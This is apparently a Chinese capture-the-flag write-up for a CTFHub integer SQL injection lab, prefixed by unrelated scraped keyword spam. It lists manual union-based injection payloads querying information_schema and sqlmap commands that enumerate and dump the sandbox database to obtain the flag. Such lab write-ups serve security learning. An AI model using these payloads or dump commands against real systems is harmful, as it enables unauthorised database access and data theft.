网站建设属于会计的什么科目,网站推广方法和策略,北极星招聘网,wordpress怎么建立二级域名开启靶场#xff0c;打开链接#xff1a;
先判断一下是哪种类型的SQL注入#xff1a;
1 and 11# 正常回显 1 and 12# 回显错误#xff0c;说明是整数型注入 判断一下字段数#xff1a;
1 order by 2# 正常回显
1 order by 3# 回显错误#xff0c;说明字段数是2列 知道…开启靶场打开链接
先判断一下是哪种类型的SQL注入
1 and 11# 正常回显 1 and 12# 回显错误说明是整数型注入 判断一下字段数
1 order by 2# 正常回显
1 order by 3# 回显错误说明字段数是2列 知道字段数量为2后可以查看数据库位置
1 union select 1,2# 没有发现数据猜测数据可能不存在数据库中修改注入语句 1 and 12 union select 1,2#或者-1 union select 1,2#都行 1查看数据库名
-1 union select 1,database()# 2查看全部数据库名
-1 union select 1,group_concat(schema_name)from information_schema.schemata# 可以发现sqli不是自带的数据库 3查看表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schemasqli# 4查看列名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schemasqli and table_nameufnanbfswh# 5查看字段内容flag
-1 union select 1,group_concat(cqnstcfhov) from sqli.ufnanbfswh# ctfhub{3f3b08fb458cc15178c70beb} 接下来用sqlmap一把梭
1查看数据库名
python sqlmap.py -u http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id1 -dbs 2查看表名
python sqlmap.py -u http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id1 -D sqli -tables 3查看列名
python sqlmap.py -u http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id1 -D sqli -T ufnanbfswh -columns 4查看字段内容flag
python sqlmap.py -u http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id1 -D sqli -T ufnanbfswh -C cqnstcfhov -dump 或者得知数据库名和表名的情况下直接梭出字段内容
python sqlmap.py -u http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id1 -D sqli -T ufnanbfswh --dump 要是时间够的话得知数据库名的情况下直接一把梭
python sqlmap.py -u http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id1 -D sqli --dump